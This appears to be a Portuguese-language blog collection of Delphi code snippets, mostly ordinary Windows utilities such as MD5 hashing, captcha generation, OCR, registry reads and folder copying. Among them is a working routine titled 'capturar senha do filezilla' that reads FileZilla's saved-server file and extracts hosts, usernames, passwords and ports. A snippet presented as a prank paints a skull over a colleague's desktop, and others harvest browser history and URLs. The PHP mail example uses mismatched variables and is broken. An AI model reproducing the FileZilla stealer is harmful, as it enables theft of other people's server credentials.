como obter codigo fonte - source do ie ( delphi )

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics,
  Controls, Forms, Dialogs, ActiveX, MSHTML, SHDocVw, StdCtrls;

type
  TObjectFromLResult = function(LRESULT: lResult; const IID: TIID;
  WPARAM: wParam; out pObject): HRESULT; stdcall;
type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

function GetIEFromHWND(WHandle: HWND; var IE: IWebbrowser2): HRESULT;
function WB_GetHTMLCode(WebBrowser: iwebbrowser2; ACode: TStrings): Boolean;

implementation

{$R *.dfm}

function GetIEFromHWND(WHandle: HWND; var IE: IWebbrowser2): HRESULT;
var
  hInst: HWND;
  lRes: Cardinal;
  MSG: Integer;
  pDoc: IHTMLDocument2;
  ObjectFromLresult: TObjectFromLresult;
begin
  hInst := LoadLibrary('Oleacc.dll');
  @ObjectFromLresult := GetProcAddress(hInst, 'ObjectFromLresult');
  if @ObjectFromLresult <> nil then begin
    try
      MSG := RegisterWindowMessage('WM_HTML_GETOBJECT');
      SendMessageTimeOut(WHandle, MSG, 0, 0, SMTO_ABORTIFHUNG, 1000, lRes);
      Result := ObjectFromLresult(lRes, IHTMLDocument2, 0, pDoc);
      if Result = S_OK then
        (pDoc.parentWindow as IServiceprovider).QueryService(IWebbrowserApp, IWebbrowser2, IE);
    finally
      FreeLibrary(hInst);
    end;
  end;
end;

function WB_GetHTMLCode(WebBrowser: iwebbrowser2; ACode: TStrings): Boolean;
var
  ps: IPersistStreamInit;
  ss: TStringStream;
  sa: IStream;
  s: string;
begin
  ps := WebBrowser.Document as IPersistStreamInit;
  s := '';
  ss := TStringStream.Create(s);
  try
    sa := TStreamAdapter.Create(ss, soReference) as IStream;
    Result := Succeeded(ps.Save(sa, True));
    if Result then ACode.Add(ss.Datastring);
  finally
    ss.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  hIE: THandle;
  IE: iwebbrowser2;
begin
  hIE:=FindWindow('IEFrame',nil);
  hIE:=FindWindowEx(hIE,0,'Frame Tab',nil);
  hIE:=FindWindowEx(hIE,0,'TabWindowClass',nil);
  hIE:=FindWindowEx(hIE,0,'Shell DocObject View',nil);
  hIE:=FindWindowEx(hIE,0,'Internet Explorer_Server',nil);
  if hIE <> 0 then
  begin
    GetIEFromHWnd(hIE, IE);
    Memo1.Clear;
    WB_GetHTMLCode(IE, Memo1.Lines);
  end;
end;

end.

como criar arquivo de qualquer tamanho ( delphi )

procedure rtncriar_arquivo(nome: string; tamanho: integer);
var
  f: hwnd;
begin
  f := createfile(pchar(nome), GENERIC_READ or
       GENERIC_WRITE, 0, 0, OPEN_ALWAYS,
       FILE_ATTRIBUTE_NORMAL, 0);
  SetFilePointer(f, tamanho * 1024 * 1024, nil, FILE_CURRENT);
  SetEndOfFile(f);
  closehandle(f);
end;

como impedir que o form seja arrastado para fora da margem da tela

private
  procedure WMMove(var Msg: TWMMove); message WM_MOVE;

procedure TForm1.WMMove(var Msg: TWMMove); 
begin
  if Left < 0 then
    Left := 0;
  if Top < 0 then
    Top := 0;
  if Screen.Width - (Left + Width) < 0 then
    Left := Screen.Width - Width;
  if Screen.Height - (Top + Height) < 0 then
    Top := Screen.Height - Height;
end;

criptografia md5 ( delphi )

uses IdHashMessageDigest;

//criptografar uma string
function MD5(const texto: string): string;
var
idmd5: TIdHashMessageDigest5;
begin
idmd5 := TIdHashMessageDigest5.Create;
try
result := idmd5.HashStringAsHex(texto);
finally
idmd5.Free;
end;
end;

//criptografar um arquivo
function MD5File(const fileName: string): string;
var
idmd5 : TIdHashMessageDigest5;
fs : TFileStream;
begin
idmd5 := TIdHashMessageDigest5.Create;
fs := TFileStream.Create(fileName, fmOpenRead OR fmShareDenyWrite) ;
try
result := idmd5.HashStreamAsHex(fs);
finally
fs.Free;
idmd5.Free;
end;
end;

como atualizar rave 5 para rave 7 ( delphi )

antes de tudo voce precisa desinstalar o rave 5.

1. va em component > install package.. > la procure pela
biblioteca do rave. feito isso, clique em remove. pronto! a vista
do delphi ele ja morreu. mas pro windows nao..

2. alem de remover do delphi precisa remover os arquivos do pc para
nao da conflito quando instalar a versao nova. procure na system32 do
windows os arquivos: Rave50CLXBE70.bpl e Rave50VCLBE70.bpl e exclua.

3. agora, com o pacote do rave 7 em maos copie os arquivos que ele informa
.bpl para a system32.

4. abra o delphi e novamente component > install package.. >
clique em [add] e procure o .bpl dentro da pasta D7 na rave7. clique
[ok] e pronto.

como jogar programa dentro do internet explorer ( delphi )

var
hIE: THandle;
begin
hIE:=FindWindow('IEFrame',nil);
hIE:=FindWindowEx(hIE,0,'Frame Tab',nil);
hIE:=FindWindowEx(hIE,0,'TabWindowClass',nil);
hIE:=FindWindowEx(hIE,0,'Shell DocObject View',nil);
hIE:=FindWindowEx(hIE,0,'Internet Explorer_Server',nil);
if hIE <> 0 then
begin
Windows.SetParent(Form1.Handle,hIE);
Form1.Top:=0;
Form1.Left:=0;
end;

verificar proxy ( delphi )

function rtnCHeckProxy(ptype:integer;Host:string;Port:i nteger;user,pass:string;var ip,country:string):boolean;
var
Fhttp: TIdHTTP;
FMultiStream: TIdMultiPartFormDataStream;
IdSocksInfo : TIdSocksInfo;
Fhandler : TIdIOHandlerStack;
html :string;
d : integer;
begin
result := false;
application.ProcessMessages;
Fhttp := TIdHTTP.Create(nil);
Fhandler := TIdIOHandlerStack.Create(nil);
FMultiStream := TIdMultiPartFormDataStream.Create;
Fhttp.IOHandler := Fhandler;
IdSocksInfo := nil;
try
if (Host <> '') and (Port<>0) then
begin
if (ptype = 0) then
begin
Fhttp.ProxyParams.ProxyServer := Host;
Fhttp.ProxyParams.ProxyPort := Port;
if (user <> '') and (pass <> '') then
begin
Fhttp.ProxyParams.BasicAuthentication := true;
Fhttp.ProxyParams.ProxyUsername := user;
Fhttp.ProxyParams.ProxyPassword := pass;
end;
end else
begin
IdSocksInfo := TIdSocksInfo.Create(nil);
IdSocksInfo.Host := Host;
IdSocksInfo.Port := port;
if (user <> '') and (pass <> '') then
begin
IdSocksInfo.Authentication := saUsernamePassword;
IdSocksInfo.Username := user;
IdSocksInfo.Password := pass;
end else
begin
IdSocksInfo.Authentication := saNoAuthentication;
end;
case ptype of
1 : IdSocksInfo.Version := svSocks4;
2 : IdSocksInfo.Version := svSocks4A;
3 : IdSocksInfo.Version := svSocks5;
end;
Fhandler.TransparentProxy := IdSocksInfo;
end;
Fhttp.HandleRedirects := true;
Fhttp.Request.Connection := 'close';
Fhttp.ReadTimeout := 50000;
try
html := Fhttp.get('http://get-myip.com/');
d := pos(pattern1,html);
if (d<>0) then
begin
delete(html,1,d+length(pattern1));
ip := copy(html,1,pos('</b></div>',html)-1);
end;
d := pos(pattern2,html);
if (d<>0) then
begin
delete(html,1,d+length(pattern2));
country := copy(html,1,pos('<br>',html)-1);
end;
result := (ip<>'') and (country <> '');
Except
on e:exception do
memo2.Lines.Add(host+'failed'+E.Message);
end;
end;
finally
if assigned(IdSocksInfo) then IdSocksInfo.Free;
if assigned(Fhandler) then Fhandler.Free;
if assigned(Fhttp) then Fhttp.Free;
if assigned(FMultiStream) then FMultiStream.Free;
end;
end;

capturar senha do filezilla ( delphi )

{**************************************
Coded by Gakh
Credits: steve10120
www.ic0de.org
**************************************}

unit FileZilla;

interface

uses
Windows, SysUtils, Classes, ShlObj;

function GetFileZilla : String;

implementation

function GetAppDataPath : String;
var
ppID: PItemIdList;
szBuff: array[0..255] of Char;
begin
if SHGetSpecialFolderLocation(0, CSIDL_APPDATA, ppID) = NOERROR then
begin
SHGetPathFromIDList(ppID, szBuff);
Result := szBuff;
end;
end;

function GetFileZilla : String;
var
LoadFile : TStringList;
DataFile : TStringList;

Host : String;
User : String;
Pass : String;
Port : String;

begin
LoadFile := TStringList.Create;
DataFile := TStringList.Create;

if FileExists(GetAppDataPath + '\FileZilla\recentservers.xml') then
begin
LoadFile.LoadFromFile(GetAppDataPath + '\FileZilla\recentservers.xml');

while (Pos('<Host>', LoadFile.Text) <> 0) do
begin
// Hostname
Host := Copy(LoadFile.Text, Pos('<Host>', LoadFile.Text)+6, Length(LoadFile.Text));
Host := Copy(Host, 1, Pos('</Host>', Host)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Host>', ' ', [rfIgnoreCase]);

//Username
User := Copy(LoadFile.Text, Pos('<User>', LoadFile.Text)+6, Length(LoadFile.Text));
User := Copy(User, 1, Pos('</User>', User)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<User>', ' ', [rfIgnoreCase]);

// Password
Pass := Copy(LoadFile.Text, Pos('<Pass>', LoadFile.Text)+6, Length(LoadFile.Text));
Pass := Copy(Pass, 1, Pos('</Pass>', Pass)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Pass>', ' ', [rfIgnoreCase]);

// Port
Port := Copy(LoadFile.Text, Pos('<Port>', LoadFile.Text)+6, Length(LoadFile.Text));
Port := Copy(Port, 1, Pos('</Port>', Port)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Port>', ' ', [rfIgnoreCase]);

DataFile.Add('Server: ' + Host + #13#10 + 'Port: ' + Port + #13#10 + 'Username: ' + User + #13#10 + 'Password: ' + Pass);
end;

Result := DataFile.Text;
end else
Result := 'FileZilla probably not installed, or it has changed info storing technique.';
end;

end.


como usar:

WriteLn(GetFileZilla);

ou

showmessage(GetFilezilla);

como gerar captcha ( delphi )

1. inserir componentes no form: image1 e edit1.
2. criar essa variavel global para acolher o valor correto.

var
  valor_captcha: string;

3. criar essa rotina para gerar o captcha:

function rtngerar_imagem_captcha(Img: TImage): string;
const
  f: array [0..4] of string = ('Courier New', 'Impact', 'Times New Roman',
                               'Verdana', 'Arial');
  s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  c: array [0..14] of TColor = (clAqua, clBlack, clBlue, clFuchsia, clGray,
                                clGreen, clLime, clMaroon, clNavy, clOlive,
                                clPurple, clRed, clSilver, clTeal, clYellow);
var
  i, x, y: integer;
  r: string;
begin
  randomize;
  Img.Width := 160;
  Img.Height := 60;
  for i := 0 to 3 do
    r := r + s[Random(length(s)-1)+1];
  with Img.Picture.Bitmap do
  begin
    width := Img.Width;
    Height := Img.Height;
    Canvas.Brush.Color := $00EFEFEF;
    Canvas.FillRect(Img.ClientRect);
    for i := 0 to 3 do
    begin
      Canvas.Font.Size := random(20) + 20;
      Canvas.Font.Name := f[High(f)];
      Canvas.Font.Color := c[random(High(c))];
      Canvas.TextOut(i*40,0, r[i+1]);
    end;
    for i := 0 to 2 do
    begin
      Canvas.Pen.Color := c[random(High(c))];
      Canvas.Pen.Width := 2;
      canvas.MoveTo(random(Width), 0);
      Canvas.LineTo(random(Width), Height);
      Canvas.Pen.Width := 1;
      x := random(Width-10);
      y := random(Height-10);
      Canvas.Rectangle(x, y, x+10, y+10);
    end;
  end;
  Result := r;
end;

como usar:
no momento que for gerado a imagem, enviar o retorno para a variavel global.

valor_captcha:= rtngerar_imagem_captcha(Image1);

agora poderemos fazer uma verificacao se o valor digitado no edit1 eh o mesmo.

begin
  if (Edit1.Text = valor_captcha) then
    showmessage('ok')
  else
    showmessage('falhou');
end;

como identificar ocr usando o office ( delphi )

function rtnocr(ARQUIVO: STRING): STRING;
var
midoc,miword: OleVariant;
s: string;
i: integer;
begin
midoc := CreateOleObject('MODI.Document');
midoc.create(ARQUIVO);
midoc.images[0].ocr(22,0,0);
s := '';
for i := 0 to midoc.images[0].layout.words.count-1 do
begin
miword := midoc.images[0].layout.words[i];
s := s+' '+miword.text;
end;
result := s;
end;

exemplo de uso
ShowMessage( rtnocr('C:\texto.tif') );

explicacao
o delphi usara a biblioteca do office xp ou 2007 para fazer a leitura da imagem passada e mostrar o valor

como capturar informacao sobre proxy ( delphi )

no IE:

uses registry;

function rtncapturar_endereco_proxy_IE() : string;
begin
  with TRegistry.Create do
    try
        RootKey := HKEY_CURRENT_USER;
        if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Internet Settings', False) then begin
          Result := ReadString('ProxyServer');
          CloseKey;
        end
        else
          Result := '';
    finally
      Free;
    end;
end;

como capturar ip de internet discada ( delphi )

uses WinSock;

function rtncapturar_ip : string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe  : PHostEnt;
pptr : PaPInAddr;
Buffer : array [0..63] of char;
I    : Integer;
GInitData      : TWSADATA;
begin
  WSAStartup($101, GInitData);
  Result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe :=GetHostByName(buffer);
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do begin
    result:=StrPas(inet_ntoa(pptr^[I]^));
    result := StrPas(inet_ntoa(pptr^[I]^));
    Inc(I);
  end;
  WSACleanup;
end;

como enviar email usando php + delphi + post

1 - criar o arquivo php usando o metodo POST colando 
o codigo abaixo no bloco de notas e salvando como email.php:

<?
  $remetente = $_POST['remetente'];
  $destinatario = $_POST['destinatario'];
  $assunto = $_POST['assunto'];
  $mensagem = $_POST['mensagem'] ;

  mail( $email, $subject, $message, "From: $from" );
?>


2 - no delphi usar a rotina para enviar os dados para a pagina
acima hospedada no servidor usando o componente idhttp da paleta indy e 3 edits + 1 memo:

procedure rtnenviar_email_php_post;
var
  E: TStringList;
begin
  E := TStringList.Create;
try
  E.clear;
  E.add('remetente=' + edit1.Text);
  E.Add('destinatario=' + edit2.Text);
  E.Add('assunto=' + edit3.Text);
  E.Add('mensagem=' + memo1.Text);

  try
    idHTTP1.Post('http://www.sitehospedado/email.php',E);
  except
    Showmessage('falhou.');
  end;
    Showmessage('enviou');
finally
  E.free;
end;
end;

como deixar sua marca - caveira na tela ( delphi )

noutro dia fui surpreendido com um ataque de um colega onde a tela do meu pc ficou marcada com uma caveira muito show *-* pedi a ele o codigo feito em delphi e estou disponibilizando para aqueles que gostam de deixar sua marca ;)

procedure caveira;
const BUFLEN = 65536;
var deskdc:hdc;
f:hfont;
p:hpen;
b:hbrush;
lb:tlogbrush;
buf:array[0..BUFLEN-1]of char;
begin
deskdc:=getwindowdc(getdesktopwindow);
f:=createfont(500,400,0,0,400,0,0,0,SYMBOL_CHARSET ,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH,'Wingdings');
selectobject(deskdc,f);
p:=createpen(PS_SOLID,3,$FF); selectobject(deskdc,p);
setbkmode(deskdc,TRANSPARENT); settextcolor(deskdc,$FF);
lb.lbStyle:=BS_HOLLOW; b:=createbrushindirect(lb); selectobject(deskdc,b);
ellipse(deskdc,0,0,getsystemmetrics(SM_CXSCREEN),getsystemmetrics(SM_CYSCREEN));
TextOut(deskdc,getsystemmetrics(SM_CXSCREEN) div 2 - 160,getsystemmetrics(SM_CYSCREEN) div 2 - 240,'N',1);
move('OK'#13,buf,3);
end;

como enviar texto para bloco notas ( delphi )

procedure rtnenviar_texto_para_bloco_notas(str: String);
var
i: Integer;
begin
for i := 0 to Length(str) do
SendMessage(FindWindowEx(FindWindow('notepad', nil), FindWindow('Edit', nil), nil,nil), WM_CHAR, ord(str[i]), 0);
end;

como recuperar historico navegacao ( delphi )

procedure rtnexibir_historico_navegacao(Urls: TStrings);
var
Reg: TRegistry;
S: TStringList;
i: Integer;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('SoftwareMicrosoftInternet ExplorerTypedURLs', False) then
begin
S := TStringList.Create;
try
reg.GetValueNames(S);
for i := 0 to S.Count - 1 do
begin
Urls.Add(reg.ReadString(S.Strings[i]));
end;
finally
S.Free;
end;
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end;

como capturar informacao do navegador ( delphi )

uses ddeman;

function rtncapturar_titulo_url_navegador(service: string): String;
var
  ClDDE: TDDEClientConv;
  temp:PChar;
begin
  Result := '';
  ClDDE:= TDDEClientConv.Create( nil );
  with ClDDE do
  begin
    SetLink(Service,'WWW_GetWindowInfo');
    temp := RequestData('0xFFFFFFFF');
    Result := StrPas(temp);
    StrDispose(temp);
    CloseLink;
  end;
  ClDDE.Free;
end;

como usar:
showmessage(GetURL('IExplore'));
showmessage(GetURL('Firefox'));

como obter disco presente ( delphi )

uses windows;

function rtnobter_disco_presente: string;
var
  Drives: DWord;
  I: byte;
begin
  Result := '';
  Drives := GetLogicalDrives;
  if Drives &lt;&gt; 0 then
    for I := 65 to 90 do
      if ((Drives shl (31 - (I - 65))) shr 31) = 1 then
        Result := Result + Char(I);
end;

como usar a rotina:
if Pos('A', rtnobter_disco_presente) > 0 then
  ShowMessage('unidade A: presente.')
else
  ShowMessage('unidade A: ausente.');

como copiar pasta com subdiretorio ( delphi )

uses ShellApi;

function rtnBackup_Total(DirFonte,DirDest : String) : Boolean;
var
  ShFileOpStruct : TShFileOpStruct;
begin
  Result := False;
  if DirFonte = '' then
    raise Exception.Create(
      'Diretório fonte não pode ficar em branco');
  if DirDest = '' then
    raise Exception.Create(
      'Diretório destino não pode ficar em branco');
  if not DirectoryExists(DirFonte) then
    raise Exception.Create('Diretório fonte inexistente');
  DirFonte := DirFonte+#0;
  DirDest := DirDest+#0;
  FillChar(ShFileOpStruct,Sizeof(TShFileOpStruct),0);
  with ShFileOpStruct do begin
    Wnd := Application.Handle;
    wFunc := FO_COPY;
    pFrom := PChar(DirFonte);
    pTo := PChar(DirDest);
    fFlags := FOF_ALLOWUNDO or FOF_SIMPLEPROGRESS or
       FOF_NOCONFIRMATION;
  end;
  ShFileOperation(ShFileOpStruct);
end;

como executar um programa e aguardar finalizacao ( delphi )

uses windows;

function ExecAndWait(const FileName, Params: string;
  const WindowState: Word): boolean;
var
  SUInfo: TStartupInfo;
  ProcInfo: TProcessInformation;
  CmdLine: string;
begin
  {por nome do arquivo entre aspas devido espaco em nome longo}
  CmdLine := '"' + Filename + '"' + Params;
  FillChar(SUInfo, SizeOf(SUInfo), #0);
  with SUInfo do
  begin
    cb := SizeOf(SUInfo);
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := WindowState;
  end;
  result := CreateProcess(nil, PChar(CmdLine), nil, nil, false,
                          CREATE_NEW_CONSOLE or
                          NORMAL_PRIORITY_CLASS, nil,
                          PChar(ExtractFilePath(Filename)),
                          SUInfo, ProcInfo);
  {aguarda ate ser finalizado}
  if Result then
  begin
    WaitForSingleObject(ProcInfo.hProcess, INFINITE);
    {libera os Handles}
    CloseHandle(ProcInfo.hProcess);
    CloseHandle(ProcInfo.hThread);
  end;
end;